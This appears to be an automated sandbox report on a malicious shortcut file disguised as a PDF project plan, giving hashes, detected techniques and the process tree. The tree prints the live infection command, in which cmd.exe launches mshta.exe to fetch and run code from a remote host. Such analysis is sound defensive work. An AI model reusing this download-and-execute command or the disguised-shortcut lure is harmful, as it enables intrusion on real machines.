a488b6bc2f4674c3a8fada86cc2794888713e61278c7c47d27f9706be0d18f4d

Analysis

Target

Exchange Project Management Plan_Q3.2021.pdf.lnk
Size

1.3MB
MD5

4b9366f2dcab60d56d09e69e21d77d91
SHA1

a46318a25582c2616f33f49f7af986137637ba1d
SHA256

51eaf8af57211f8d9e534f98413e71f4ddf5abcce806a111fc49a30d3bcec696
SHA512

4b1bdfe4d09ed047122824536e5a1f59d533c8e1780a2cbab84398a8a1ba838de916ca99234b055a49e956d9fc539a961665764a3b89dc0d6736b8d6ce1b5d04

Score

8^/10

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exe

flow pid process

9 3508 mshta.exe
11 3508 mshta.exe
13 3508 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 2840 wrote to memory of 2852	2840	cmd.exe	cmd.exe
PID 2840 wrote to memory of 2852	2840	cmd.exe	cmd.exe
PID 2852 wrote to memory of 3508	2852	cmd.exe	mshta.exe
PID 2852 wrote to memory of 3508	2852	cmd.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Exchange Project Management Plan_Q3.2021.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2840

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://docs.gsheetpage.com/oqkoB0q32czSiIjgsw+S2lfzfm4dB3TLnrpSTyuEIxI=
2⤵
- Suspicious use of WriteProcessMemory
PID:2852

C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta https://docs.gsheetpage.com/oqkoB0q32czSiIjgsw+S2lfzfm4dB3TLnrpSTyuEIxI=
3⤵
- Blocklisted process makes network request
PID:3508

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

memory/2852-118-0x0000000000000000-mapping.dmp

Download
memory/3508-119-0x0000000000000000-mapping.dmp

Download
memory/3508-120-0x0000020C34B68000-0x0000020C34B70000-memory.dmp

Filesize
32KB

Download